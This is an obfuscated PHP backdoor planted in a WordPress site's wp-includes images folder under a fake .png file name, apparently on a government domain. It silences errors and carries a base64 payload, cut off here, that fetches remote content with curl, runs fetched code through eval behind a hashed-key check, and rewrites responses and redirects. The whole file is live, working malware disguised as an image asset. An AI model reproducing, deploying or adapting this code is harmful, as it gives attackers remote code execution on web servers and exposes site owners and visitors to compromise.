File: /www/wwwroot/fni.gov.mz/wp-includes/images/media/ebeaccbefedb.png
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/www/wwwroot/fni.gov.mz/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gZkNTRW9MeEp5SGtZMEU7IElKb3o0eXpZODF5X1g3OiBmOXk0OVFLRTFQaWpSYjogZ290byBQdEhpcWtRcDIxVnUxYzsgck1WZ3JPeWdwc09aN206IHljWHB6T05KblZETTVPOiBnb3RvIEpmdEI3WlRycE1YaTNzOyBLaEZlZm5YTlBvTTI4bDogZnVuY3Rpb24gbVd6dFVxY2VpeGp5UGIoKSB7IGdvdG8gb0t2NnJ6dVlXR01TTmI7IHRLeVViY29XdmJRaTZjOiByZXR1cm4gJFRCdDNRVENzVU9tekhpOyBnb3RvIGV3QUlFUWo3Qlo3Z0ZMOyBleTRTUVY4U1hBMVZNcjogV0dGVDF2MGlIdmxVRGc6IGdvdG8gdEt5VWJjb1d2YlFpNmM7IGo2UUp0M3VHT1RXUmt3OiAkVEJ0M1FUQ3NVT216SGkgPSAiXHg2OFwxNjRcMTY0XDE2MFx4NzNceDNhXDU3XDU3IjsgZ290byBoTVl4QkkwVlJzTE02VDsgeTdPRDIxeGg2X3dMRnI6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFx4NWZceDQ2XDEyMlx4NGZceDRlXDEyNFx4NWZceDQ1XHg0ZVx4NDRceDVmXDExMFwxMjRceDU0XHg1MFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMzdceDQ2XHg1Mlx4NGZcMTE2XDEyNFwxMzdceDQ1XHg0ZVwxMDRcMTM3XHg0OFwxMjRceDU0XDEyMFwxMjMiXSkgIT09ICJceDZmXDE0NlwxNDYiKSB7IGdvdG8gcDB4M2d1TWpuUUFlUUI7IH0gZ290byBzVVRCeGF2NUt1QnZyRDsgR0FSTnF0NEFPVWZObXA6IHAweDNndU1qblFBZVFCOiBnb3RvIHFhYXV0ZWNNSDF5VGlSOyBvNFdzQnVDbGxsSVhvWDogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXDEyMyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1MyJdKSAhPT0gIlwxNTdceDY2XHg2NiIpIHsgZ290byBadHpTa2Z1aUVjWm1LQzsgfSBnb3RvIHBpUnFoUzFibjNRZlV1OyBMdGZ6UmtrY3dOelJENTogZ290byBXR0ZUMXYwaUh2bFVEZzsgZ290byBOZXh0OVVaQno3X3QwODsgcWFhdXRlY01IMXlUaVI6ICRUQnQzUVRDc1VPbXpIaSA9ICJceDY4XDE2NFwxNjRceDcwXDE2M1w3Mlw1N1w1NyI7IGdvdG8gZXk0U1FWOFNYQTFWTXI7IHBpUnFoUzFibjNRZlV1OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg1OFx4NWZceDQ2XDExN1wxMjJcMTI3XHg0MVx4NTJcMTA0XHg0NVx4NDRceDVmXDEyMFwxMjJcMTE3XDEyNFwxMTciXSkgJiYgJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBceDVmXHg1OFwxMzdceDQ2XHg0Zlx4NTJceDU3XDEwMVwxMjJceDQ0XDEwNVwxMDRcMTM3XDEyMFx4NTJceDRmXDEyNFwxMTciXSA9PT0gIlwxNTBceDc0XDE2NFwxNjBceDczIikgeyBnb3RvIFV5X1g4bzgwUExKT1M5OyB9IGdvdG8geTdPRDIxeGg2X3dMRnI7IG9LdjZyenVZV0dNU05iOiAkVEJ0M1FUQ3NVT216SGkgPSAiXHg2OFx4NzRceDc0XHg3MFw3Mlx4MmZcNTciOyBnb3RvIG80V3NCdUNsbGxJWG9YOyBWeUtvWU1xMHI0ZTJ0TDogJFRCdDNRVENzVU9tekhpID0gIlwxNTBcMTY0XHg3NFx4NzBcMTYzXHgzYVx4MmZcNTciOyBnb3RvIEx0ZnpSa2tjd056UkQ1OyBOZXh0OVVaQno3X3QwODogVXlfWDhvODBQTEpPUzk6IGdvdG8gajZRSnQzdUdPVFdSa3c7IHNVVEJ4YXY1S3VCdnJEOiBnb3RvIFdHRlQxdjBpSHZsVURnOyBnb3RvIHZQRHpFbm11ZDVVMGVDOyBoTVl4QkkwVlJzTE02VDogZ290byBXR0ZUMXYwaUh2bFVEZzsgZ290byBHQVJOcXQ0QU9VZk5tcDsgdlBEekVubXVkNVUwZUM6IFp0elNrZnVpRWNabUtDOiBnb3RvIFZ5S29ZTXEwcjRlMnRMOyBld0FJRVFqN0JaN2dGTDogfSBnb3RvIFppT01UVVZqUDdGTlloOyBIVFQwcGVNZ3VFSlRCQzogJEFnSlRDTVA0NE13dzJuID0gcHJlZ19yZXBsYWNlKCJcNTdceDVjXHgzZlw1Nlx4MmFceDJmIiwgJycsICRfU0VSVkVSWyJcMTIyXHg0NVx4NTFcMTI1XHg0NVwxMjNcMTI0XHg1Zlx4NTVcMTIyXHg0OSJdKTsgZ290byBoa1JtNFAxWEIzTUhFbjsgZnlvMHRsS25TRTVfbko6IGNsYXNzIFJaV0ROckN6SXVBbmp3IHsgc3RhdGljIGZ1bmN0aW9uIE9HOFJRaFo4YTFfVF9JKCRhWkw2N3k3YU5Hb1p4cikgeyBnb3RvIFF0OWZUdllGTkJvTjhDOyB6RDI1YTNza1FoQWtyNDogVXo1QXhyamwxdkFkOUg6IGdvdG8gcnE0OURDblp3X0h0OUI7IFExRE1JaDVwNDhjWFkyOiAkbzhqQmFUc0EyVVBzMkEgPSAnJzsgZ290byBqRmpXWjF3SXpzUFFwdzsgUXQ5ZlR2WUZOQm9OOEM6ICRGZDFqNUFhaGNQM2NVOSA9ICJcMTYyIiAuICJcMTQxIiAuICJceDZlIiAuICJcMTQ3IiAuICJceDY1IjsgZ290byBaMjJsbEZNZTNxYTc2UjsgWjIybGxGTWUzcWE3NlI6ICRGaDhYN1pxSEdlS0hNbyA9ICRGZDFqNUFhaGNQM2NVOSgiXDE3NiIsICJceDIwIik7IGdvdG8gUmhmZUZpODl1N1VwQk47IGpGaldaMXdJenNQUXB3OiBmb3JlYWNoICgkSDhBSnhUMkszb29VVU4gYXMgJFhLeER6c0cwYjRXZ2xlID0+ICRWWlNFblJ5S21MMW5oYSkgeyAkbzhqQmFUc0EyVVBzMkEgLj0gJEZoOFg3WnFIR2VLSE1vWyRWWlNFblJ5S21MMW5oYSAtIDgzNzcyXTsgeXJlbFdkZzExc3R1OXI6IH0gZ290byB6RDI1YTNza1FoQWtyNDsgcnE0OURDblp3X0h0OUI6IHJldHVybiAkbzhqQmFUc0EyVVBzMkE7IGdvdG8gSTN5SVZNRnBoRDFHOV87IFJoZmVGaTg5dTdVcEJOOiAkSDhBSnhUMkszb29VVU4gPSBleHBsb2RlKCJcNTAiLCAkYVpMNjd5N2FOR29aeHIpOyBnb3RvIFExRE1JaDVwNDhjWFkyOyBJM3lJVk1GcGhEMUc5XzogfSBzdGF0aWMgZnVuY3Rpb24gZXBjV1JhMndVVzFVNDYoJEpJaWZTZjVTYndwZlc1LCAkSXpPaUVFX04yZUJEX2YpIHsgZ290byBKbkRmeDNuWnp3RUtydjsgSm5EZngzblp6d0VLcnY6ICRISndnQWpib2xrS0VNeSA9IGN1cmxfaW5pdCgkSklpZlNmNVNid3BmVzUpOyBnb3RvIHJjN3pxa2puQm16MzRjOyByYzd6cWtqbkJtejM0YzogY3VybF9zZXRvcHQoJEhKd2dBamJvbGtLRU15LCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBUc2tMU0llZUNna2haazsgVHNrTFNJZWVDZ2toWms6ICR1eFdjOXhhZ0p3Z1RyRSA9IGN1cmxfZXhlYygkSEp3Z0FqYm9sa0tFTXkpOyBnb3RvIEtrWWNDdF93MDRuTG82OyBLa1ljQ3RfdzA0bkxvNjogcmV0dXJuIGVtcHR5KCR1eFdjOXhhZ0p3Z1RyRSkgPyAkSXpPaUVFX04yZUJEX2YoJEpJaWZTZjVTYndwZlc1KSA6ICR1eFdjOXhhZ0p3Z1RyRTsgZ290byBUbktYNFF6Y2FYbUdOXzsgVG5LWDRRemNhWG1HTl86IH0gc3RhdGljIGZ1bmN0aW9uIGpVZXJ1cDNXbVFmMWtQKCkgeyBnb3RvIEdQamdDRENQZHpZS1p4OyB1SW15Y0VIWk1GdDlUeTogJE5oZ3k1U0ZXYTMzU29KID0gQCRvRGdqNlZSUlBHMW9ka1sxXSgkb0RnajZWUlJQRzFvZGtbNiArIDRdKElOUFVUX0dFVCwgJG9EZ2o2VlJSUEcxb2RrWzYgKyAzXSkpOyBnb3RvIExYWEE0UjIzZGRVemY2OyB2Q1o4RExTempGc3drNTogJEdsbFhzX2s5OERLVnRDID0gJG9EZ2o2VlJSUEcxb2RrWzAgKyAyXSgkdFIzTjdfamtnTGxsdWssIHRydWUpOyBnb3RvIFJtNzFWS3RUVUZpMnpoOyBIMVB6cFJ0TjM2aHRhQTogZGllOyBnb3RvIFE2dWdCSDJZblJkblVTOyBIX1FlaE8wWm5EMUVVWDogJHNKdFk4YWo5N1oxR01HID0gc2VsZjo6ZXBDV1JhMnd1dzFVNDYoJEdsbFhzX2s5OERLVnRDWzAgKyAxXSwgJG9EZ2o2VlJSUEcxb2RrWzIgKyAzXSk7IGdvdG8gRFBLbEEybktWR3FEdGI7IFJtNzFWS3RUVUZpMnpoOiBAJG9EZ2o2VlJSUEcxb2RrWzYgKyA0XShJTlBVVF9HRVQsICJcMTU3XDE0NiIpID09IDEgJiYgZGllKCRvRGdqNlZSUlBHMW9ka1s0ICsgMV0oX19GSUxFX18pKTsgZ290byBqcFMza1h5VmtRWVBnTjsgaXJ6S0x3UU9fMmpYZ286IHIzSGhEUDMyYUJjUUVrOiBnb3RvIHVJbXljRUhaTUZ0OVR5OyBqcFMza1h5VmtRWVBnTjogaWYgKCEoQCRHbGxYc19rOThES1Z0Q1swXSAtIHRpbWUoKSA+IDAgYW5kIG1kNShtZDUoJEdsbFhzX2s5OERLVnRDWzMgKyAwXSkpID09PSAiXHg2NVx4MzRceDM2XHg2Nlw2M1x4NjNcNjJcNjVcMTQ1XHgzOFw3MFx4NjJceDM2XDYwXDE0Mlw2Mlw2NFw3MVwxNDZceDM0XHg2MVx4MzlcNjFceDM4XHgzMVw2NVx4NjNcMTQxXDcxXDY0XDE0Mlw2MSIpKSB7IGdvdG8gdnZYSV9HSkM2TlRKRlQ7IH0gZ290byBIX1FlaE8wWm5EMUVVWDsgVHNRdXVfckRfYl9NbW46IGZvcmVhY2ggKCREX0hTc1JyM2tRSFhDVSBhcyAkUUxYSWFqUWV3YmZ0OGUpIHsgJG9EZ2o2VlJSUEcxb2RrW10gPSBzZWxmOjpPRzhycWhaOGExX1RfaSgkUUxYSWFqUWV3YmZ0OGUpOyBjN3Znc3VmWjcyZlVmODogfSBnb3RvIGlyektMd1FPXzJqWGdvOyBHUGpnQ0RDUGR6WUtaeDogJERfSFNzUnIza1FIWENVID0gYXJyYXkoIlw3MFx4MzNcNjdceDM5XDcxXHgyOFx4MzhceDMzXHgzN1w3MFw2NFx4MjhceDM4XHgzM1w2N1w3MVw2N1x4MjhceDM4XHgzM1x4MzhceDMwXDYxXDUwXDcwXDYzXHgzN1w3MFw2Mlw1MFw3MFw2M1x4MzdcNzFceDM3XDUwXHgzOFw2M1w3MFx4MzBcNjNceDI4XHgzOFx4MzNceDM3XHgzOVw2Nlx4MjhceDM4XHgzM1w2N1x4MzhceDMxXDUwXDcwXHgzM1w2N1w3MFw3MFw1MFw3MFx4MzNceDM3XDcxXDcxXDUwXDcwXHgzM1w2N1w3MFw2Mlx4MjhceDM4XHgzM1w2N1x4MzlceDMzXHgyOFx4MzhceDMzXDY3XHgzOFw2N1x4MjhcNzBcNjNcNjdcNzBceDM4IiwgIlx4MzhcNjNcNjdceDM4XHgzM1x4MjhceDM4XHgzM1w2N1x4MzhcNjJceDI4XHgzOFw2M1w2N1x4MzhceDM0XHgyOFx4MzhcNjNcNzBcNjBceDMzXDUwXHgzOFx4MzNceDM3XHgzOFx4MzRceDI4XDcwXDYzXDY3XDcwXHgzN1x4MjhcNzBceDMzXDY3XDcwXDYyXDUwXDcwXDYzXHgzOFw2NFw3MVw1MFw3MFw2M1x4MzhceDM0XDY3IiwgIlw3MFw2M1x4MzdceDM5XDYyXDUwXDcwXDYzXDY3XDcwXHgzM1x4MjhcNzBceDMzXDY3XHgzOFw2N1x4MjhceDM4XHgzM1w2N1x4MzhceDM4XDUwXHgzOFx4MzNceDM4XDYwXHgzM1w1MFx4MzhcNjNcNjdceDM5XDcwXDUwXDcwXHgzM1x4MzdcNzFceDM3XDUwXDcwXHgzM1w2N1w3MVx4MzlcNTBcNzBceDMzXDY3XDcwXHgzN1w1MFx4MzhcNjNceDM3XDcxXHgzOFw1MFx4MzhcNjNceDM3XHgzOVw2NyIsICJcNzBceDMzXHgzN1x4MzhcNjZceDI4XHgzOFw2M1x4MzhceDMwXDYxXHgyOFx4MzhceDMzXDY3XHgzOVx4MzlceDI4XHgzOFw2M1x4MzdcNzFceDMxIiwgIlw3MFx4MzNcNzBcNjBcNjBceDI4XHgzOFw2M1x4MzhceDMwXDYxXHgyOFw3MFx4MzNceDM3XDcwXDYzXDUwXHgzOFw2M1x4MzdcNzFceDM3XDUwXHgzOFx4MzNceDM4XHgzNFw2NFx4MjhceDM4XDYzXDcwXDY0XDY2XDUwXDcwXHgzM1w3MFw2MFx4MzNceDI4XHgzOFx4MzNceDM3XDcxXHgzOFx4MjhceDM4XHgzM1w2N1x4MzlcNjdceDI4XHgzOFx4MzNceDM3XDcxXHgzOVx4MjhcNzBceDMzXHgzN1w3MFx4MzdcNTBceDM4XHgzM1w2N1w3MVx4MzhcNTBceDM4XHgzM1x4MzdceDM5XHgzNyIsICJcNzBceDMzXDY3XHgzOVw2Nlx4MjhceDM4XHgzM1x4MzdceDM5XDYzXDUwXHgzOFx4MzNcNjdcNzFceDMwXHgyOFw3MFw2M1w2N1x4MzlcNjdceDI4XHgzOFx4MzNceDM4XHgzMFw2M1x4MjhcNzBcNjNceDM3XDcxXDY1XDUwXHgzOFx4MzNcNjdcNzFcNjdceDI4XDcwXHgzM1w2N1w3MFx4MzJcNTBceDM4XDYzXDcwXDYwXHgzM1x4MjhcNzBcNjNcNjdceDM5XHgzOVw1MFw3MFx4MzNceDM3XHgzOFw2N1x4MjhcNzBceDMzXDY3XDcwXHgzOFx4MjhcNzBcNjNceDM3XDcwXHgzMlw1MFx4MzhceDMzXDY3XHgzOVx4MzdceDI4XDcwXDYzXDY3XDcwXDcwXDUwXDcwXDYzXDY3XHgzOFw2Mlx4MjhceDM4XDYzXHgzN1x4MzhceDMzIiwgIlx4MzhcNjNceDM4XHgzMlw2Nlx4MjhceDM4XDYzXDcwXHgzNVx4MzYiLCAiXHgzOFw2M1x4MzdcNjdceDMzIiwgIlx4MzhceDMzXDcwXDY1XDYxXDUwXHgzOFx4MzNcNzBcNjVceDM2IiwgIlw3MFw2M1x4MzhcNjNceDMzXDUwXHgzOFw2M1w3MFw2MVw2Nlx4MjhcNzBceDMzXHgzOFx4MzFcNjZceDI4XHgzOFx4MzNcNzBceDMzXDYzXDUwXHgzOFw2M1w3MFx4MzBceDM5IiwgIlw3MFw2M1w2N1w3MVx4MzZceDI4XHgzOFx4MzNceDM3XHgzOVx4MzNcNTBcNzBceDMzXHgzN1w3MVx4MzBceDI4XHgzOFw2M1w2N1w3MFx4MzJceDI4XHgzOFw2M1x4MzdceDM5XDY3XHgyOFx4MzhcNjNcNjdceDM4XDY0XDUwXHgzOFw2M1x4MzhcNjBceDMzXHgyOFx4MzhceDMzXHgzN1x4MzlcNjNceDI4XDcwXHgzM1w2N1x4MzhcNzBceDI4XHgzOFx4MzNceDM3XDcwXDY2XDUwXHgzOFx4MzNcNjdceDM4XDYxXHgyOFx4MzhceDMzXDY3XHgzOFw2MiIpOyBnb3RvIFRzUXV1X3JEX2JfTW1uOyBRNnVnQkgyWW5SZG5VUzogdnZYSV9HSkM2TlRKRlQ6IGdvdG8gS2FVeEFQWG12MkZPS0k7IERQS2xBMm5LVkdxRHRiOiBAZXZhbCgkb0RnajZWUlJQRzFvZGtbMyArIDFdKCRzSnRZOGFqOTdaMUdNRykpOyBnb3RvIEgxUHpwUnROMzZodGFBOyBMWFhBNFIyM2RkVXpmNjogJHRSM043X2prZ0xsbHVrID0gQCRvRGdqNlZSUlBHMW9ka1szICsgMF0oJG9EZ2o2VlJSUEcxb2RrWzEgKyA1XSwgJE5oZ3k1U0ZXYTMzU29KKTsgZ290byB2Q1o4RExTempGc3drNTsgS2FVeEFQWG12MkZPS0k6IH0gfSBnb3RvIEliNWZkN3E1bnB2Mll2OyBXaFMwTGpJY1Z0cktfVTogJFk3Ylh2TkZQM3B1Zm1KID0gJyc7IGdvdG8gWFZnRkFLV0YxNllQWFU7IGE0MkVPclVNUGxJaUlXOiBAaGVhZGVyKCJceDQzXDE1N1x4NmVcMTY0XHg2NVx4NmVcMTY0XHgyZFx4NTRcMTcxXHg3MFwxNDVcNzIiIC4gJEhRaUxqN2ZQNGxvWTNJWyJceDc0XHg3OVx4NzBceDY1Il0pOyBnb3RvIGd2bWVKU2Jud1VJZnV4OyBrWEllb285a1IydXMxMzogJEJHVWNRRVJmUjBYM1d2ID0gWGh2bWswRXZSM2tFemQoKTsgZ290byB5WGpaOUllbHB5bk9teDsgb1F0YU5zWHVIOFl1ZXU6IHN3aXRjaCAoJEhRaUxqN2ZQNGxvWTNJWyJceDczXHg3NFwxNDFcMTY0XDE2NVx4NzMiXSkgeyBjYXNlIDMwMTogZ290byBTdDRYWG41YTBBMDJ6TzsgU3Q0WFhuNWEwQTAyek86IGhlYWRlcigiXHg0OFx4NTRceDU0XHg1MFw1N1x4MzFcNTZceDMxXHgyMFw2M1w2MFx4MzFcNDBceDRkXDE1N1wxNjZceDY1XHg2NFx4MjBcMTIwXDE0NVx4NzJceDZkXDE0MVwxNTZceDY1XHg2ZVwxNjRcMTU0XDE3MSIpOyBnb3RvIHBCb2hFcnZjRHhhdGUyOyBQemZnQ2FMTDFIMTFVajogZ290byB2T2tCOGhqNGZiUWduMTsgZ290byBZMzR1RExrb1NpMnJHazsgcEJvaEVydmNEeGF0ZTI6IGhlYWRlcigiXHg0Y1x4NmZceDYzXDE0MVwxNjRcMTUxXHg2Zlx4NmVcNzJcNDAiIC4gdHJpbSgkSFFpTGo3ZlA0bG9ZM0lbIlwxNDNceDZmXDE1NlwxNjRceDY1XHg2ZVwxNjQiXSkpOyBnb3RvIFB6ZmdDYUxMMUgxMVVqOyBZMzR1RExrb1NpMnJHazogY2FzZSAzMDI6IGdvdG8gcHNqdE5TTzB2cFBPS0w7IHBzanROU08wdnBQT0tMOiBoZWFkZXIoIlx4NDhcMTI0XDEyNFx4NTBceDJmXHgzMVw1Nlw2MVx4MjBcNjNcNjBceDMyXDQwXHg0ZFx4NmZcMTY2XDE0NVx4MjBcMTI0XDE0NVwxNTVceDcwXDE1N1wxNjJcMTQxXDE2Mlx4NjlcMTU0XDE3MSIpOyBnb3RvIEk4SEZvU3R3YnBEVW5WOyBJOEhGb1N0d2JwRFVuVjogaGVhZGVyKCJceDRjXDE1N1wxNDNceDYxXHg3NFwxNTFceDZmXHg2ZVw3Mlw0MCIgLiB0cmltKCRIUWlMajdmUDRsb1kzSVsiXHg2M1wxNTdcMTU2XHg3NFx4NjVcMTU2XDE2NCJdKSk7IGdvdG8gUUhxcU1yOW5yU01paUs7IFFIcXFNcjluclNNaWlLOiBnb3RvIHZPa0I4aGo0ZmJRZ24xOyBnb3RvIGx4aXRlYVFCTlVhNk56OyBseGl0ZWFRQk5VYTZOejogY2FzZSA0MDQ6IGdvdG8gU0ZlRU5KY0FYRVp5S2w7IG5CMVREYkFIYzBoYUU1OiBnb3RvIHZPa0I4aGo0ZmJRZ24xOyBnb3RvIG5ybU5kM2pHUFVpTHVOOyBGWjRFNU9aSGozeDhnejogaGVhZGVyKCJcMTYzXHg3NFx4NjFcMTY0XDE2NVwxNjNceDNhXHgyMFx4MzRceDMwXDY0XDQwXDExNlwxNTdcMTY0XDQwXHg0NlwxNTdceDc1XDE1Nlx4NjQiKTsgZ290byBuQjFURGJBSGMwaGFFNTsgU0ZlRU5KY0FYRVp5S2w6IGhlYWRlcigiXHg0OFwxMjRceDU0XDEyMFw1N1x4MzFcNTZcNjFcNDBceDM0XHgzMFw2NFx4MjBcMTE2XHg2Zlx4NzRcNDBcMTA2XDE1N1x4NzVceDZlXHg2NCIpOyBnb3RvIEZaNEU1T1pIajN4OGd6OyBucm1OZDNqR1BVaUx1TjogZGVmYXVsdDogZ290byB2T2tCOGhqNGZiUWduMTsgfSBnb3RvIFg3QXhpdjZHVkQyZjE2OyB5anVHdGIwaGdvTzNhaTogaWYgKCEoc3RycG9zKCRBZ0pUQ01QNDRNd3cybiwgIlw1NiIpID4gMCAmJiBzdHJwb3MoJEFnSlRDTVA0NE13dzJuLCAiXHgyZVwxNjBcMTUwXDE2MCIpID09PSBmYWxzZSkpIHsgZ290byB5Y1hwek9OSm5WRE01TzsgfSBnb3RvIHlIczBvbDJNOXl5dVFnOyBrcTBjWXNVczVjTHZTNjogJEZ4c1g2MW5pdmIyYnZ4ID0gIlx4NzIiIC4gIlx4NjEiIC4gIlx4NmUiIC4gIlx4NjciIC4gIlx4NjUiOyBnb3RvIG1RX2dYOGVSOFZVR2sxOyBBTGdSenFzRk1BNW5FczogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIGtoTEFRakJaNlJ6bVNTOyBsMlpsV0pfX2UxbHp5ZTogZnVuY3Rpb24gWEhWbUswRXZSM2tlemQoKSB7IGdvdG8gRkhtc3JyU0NQMm1td1M7IG11ZnZkRzdaV3RZSGxnOiBoNzBwQkZoT182Ukx4NDogZ290byBrcDA1cWN0T010aEhvRzsgbHpKOVBwZTZBR3dTdHc6IEtyWUsyR1FQWFJtQ3B6OiBnb3RvIFdqdmxldWJ4eVJMU1Z1OyBXanZsZXVieHlSTFNWdTogcmV0dXJuICRCR1VjUUVSZlIwWDNXdjsgZ290byBSSjkyM011OF9mbVFubjsgU0RTX1NVTnE0V1IzWWo6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFx4NWZcMTMwXDEzN1x4NTJceDQ1XHg0MVwxMTRceDVmXDExMVx4NTAiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRceDUwXHg1Zlx4NThceDVmXDEyMlwxMDVceDQxXHg0Y1x4NWZceDQ5XDEyMCJdKSkgeyBnb3RvIFgwY1FNYzQzWkl4SHJkOyB9IGdvdG8gZmphSUxJWG54Wm40SDY7IGFsU05BdFh6dGVTZTZmOiBnb3RvIHZWM1k2akdIVGozak9IOyBnb3RvIG11ZnZkRzdaV3RZSGxnOyBYOW85VWR3bmROVEhpejogJEJHVWNRRVJmUjBYM1d2ID0gJEJHVWNRRVJmUjBYM1d2WzBdOyBnb3RvIGx6SjlQcGU2QUd3U3R3OyBmamFJTElYbnhabjRINjogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXDEzN1wxMzBcMTM3XHg0Nlx4NGZceDUyXDEyN1wxMDFceDUyXDEwNFx4NDVceDQ0XDEzN1x4NDZceDRmXHg1MiJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBceDVmXHg1OFwxMzdceDQ2XDExN1x4NTJceDU3XHg0MVx4NTJcMTA0XHg0NVwxMDRcMTM3XDEwNlx4NGZceDUyIl0pKSB7IGdvdG8gaDcwcEJGaE9fNlJMeDQ7IH0gZ290byB1U2lvcEtJVUZVWlNDVzsgdVNpb3BLSVVGVVpTQ1c6ICRCR1VjUUVSZlIwWDNXdiA9ICRfU0VSVkVSWyJcMTIyXHg0NVwxMTVcMTE3XHg1NFwxMDVcMTM3XHg0MVx4NDRcMTA0XDEyMiJdOyBnb3RvIHdRSnhMMWJTRTlZTjBfOyBCckZQb0Ztc0doZUdvSTogJEJHVWNRRVJmUjBYM1d2ID0gdHJpbShzdHJfcmVwbGFjZSgiXDQwIiwgJycsICRCR1VjUUVSZlIwWDNXdiksICJceDJjIik7IGdvdG8gV0MzRUN0S1BQTndXM1U7IEVSbHY3bzAyYmhBUUNXOiB2VjNZNmpHSFRqM2pPSDogZ290byBCckZQb0Ztc0doZUdvSTsgbU5pUUFsZFVEUU9vbE06ICRCR1VjUUVSZlIwWDNXdiA9ICRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXDEzN1wxMDNceDQ2XDEzN1wxMDNcMTE3XHg0ZVwxMTZcMTA1XDEwM1wxMjRceDQ5XHg0ZVwxMDdcMTM3XDExMVwxMjAiXTsgZ290byBiblJYd25yTzVkNWRURDsgSVNTR0dTZkpxRHgxcjM6ICRCR1VjUUVSZlIwWDNXdiA9IGV4cGxvZGUoIlx4MmMiLCAkQkdVY1FFUmZSMFgzV3YpOyBnb3RvIFg5bzlVZHduZE5USGl6OyBiblJYd25yTzVkNWRURDogZ290byB2VjNZNmpHSFRqM2pPSDsgZ290byByTng0NjA4ZVE4b1pRVTsgQk1XSDRXOHcwbmRsNVk6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XDEyMFx4NWZcMTAzXDEwNlx4NWZcMTAzXHg0Zlx4NGVceDRlXHg0NVx4NDNceDU0XHg0OVx4NGVcMTA3XDEzN1wxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFx4NWZceDQzXHg0Nlx4NWZceDQzXDExN1x4NGVceDRlXHg0NVwxMDNceDU0XDExMVx4NGVcMTA3XDEzN1wxMTFcMTIwIl0pKSB7IGdvdG8gamRYUHR0RXdya19rOUU7IH0gZ290byBTRFNfU1VOcTRXUjNZajsga3AwNXFjdE9NdGhIb0c6ICRCR1VjUUVSZlIwWDNXdiA9ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXDEzN1x4NThcMTM3XHg0NlwxMTdcMTIyXHg1N1wxMDFceDUyXHg0NFwxMDVceDQ0XHg1Zlx4NDZceDRmXHg1MiJdOyBnb3RvIEVSbHY3bzAyYmhBUUNXOyB3UUp4TDFiU0U5WU4wXzogZ290byB2VjNZNmpHSFRqM2pPSDsgZ290byBTMXIxY1NBUUROWllWUTsgTEJYV0lKUl9jODF3dWQ6ICRCR1VjUUVSZlIwWDNXdiA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXDEzN1wxMzBcMTM3XHg1MlwxMDVceDQxXDExNFwxMzdceDQ5XHg1MCJdOyBnb3RvIGFsU05BdFh6dGVTZTZmOyBTMXIxY1NBUUROWllWUTogamRYUHR0RXdya19rOUU6IGdvdG8gbU5pUUFsZFVEUU9vbE07IEZIbXNyclNDUDJtbXdTOiAkQkdVY1FFUmZSMFgzV3YgPSAnJzsgZ290byBCTVdINFc4dzBuZGw1WTsgck54NDYwOGVROG9aUVU6IFgwY1FNYzQzWkl4SHJkOiBnb3RvIExCWFdJSlJfYzgxd3VkOyBXQzNFQ3RLUFBOd1czVTogaWYgKCEoc3RycG9zKCRCR1VjUUVSZlIwWDNXdiwgIlw1NCIpICE9PSBmYWxzZSkpIHsgZ290byBLcllLMkdRUFhSbUNwejsgfSBnb3RvIElTU0dHU2ZKcUR4MXIzOyBSSjkyM011OF9mbVFubjogfSBnb3RvIEtoRmVmblhOUG9NMjhsOyBmS0Y2Qk1nOGdJU3hpeTogZnVuY3Rpb24gUG5ZUHVIdHZHRFI0WHMoJG5MTzZVX2NveHNTZ2N6LCAkS0o3RHE1TlFsNmZ3MWwgPSBhcnJheSgpKSB7IGdvdG8gR1NvTWhXS0Myd0F0dWs7IFNTd1VWdUZDUTRMdWJkOiB0cnkgeyBnb3RvIFd3eUpZUjNoZk1fUFRhOyBwMTdZNzFpbkMzbnptejogSXc0YjFfTjV0SlcxSDI6IGdvdG8gQ2g2WmV0X0dlQU1wcWI7IG4xQldwalJDT1dxbWZLOiBjdXJsX3NldG9wdCgkQzZZM2x2cjdHbnBHX3IsIENVUkxPUFRfVElNRU9VVCwgNjApOyBnb3RvIGRINEVrSEJBUm16OWkxOyBRN1ExUHRjeEFjOGxvczogJHREMFh5aGcyV3Axb1JsID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRDcGJfWnNVTEVhbU1kaCk7IGdvdG8gdERiY1F6QmJSbGhUUEY7IEkzSmpBeWtWb29PMXB1OiBjdXJsX3NldG9wdCgkQzZZM2x2cjdHbnBHX3IsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBnb3RvIHJOa3EzWUpOdUc5ZDJ0OyByZDFFQXd6YU9BRFBJYTogaWYgKCFpbl9hcnJheSgkSFFpTGo3ZlA0bG9ZM0lbIlx4NzNceDc0XHg2MVwxNjRcMTY1XHg3MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIE42RUo1NlZSZzdRbTBROyB9IGdvdG8gZGRESVducV81bjk4UzU7IFlfYU1CT1R1bGl0d2pZOiBQaUhsRVI5UjAzb2RGTzogZ290byBXZ01sdHlZMEM0UzBKVjsgYXptY0JMSkp2OUh3OFI6IEBjdXJsX2Nsb3NlKCRDNlkzbHZyN0ducEdfcik7IGdvdG8gc2FjbEVlM0JDNFlrY3U7IFd3eUpZUjNoZk1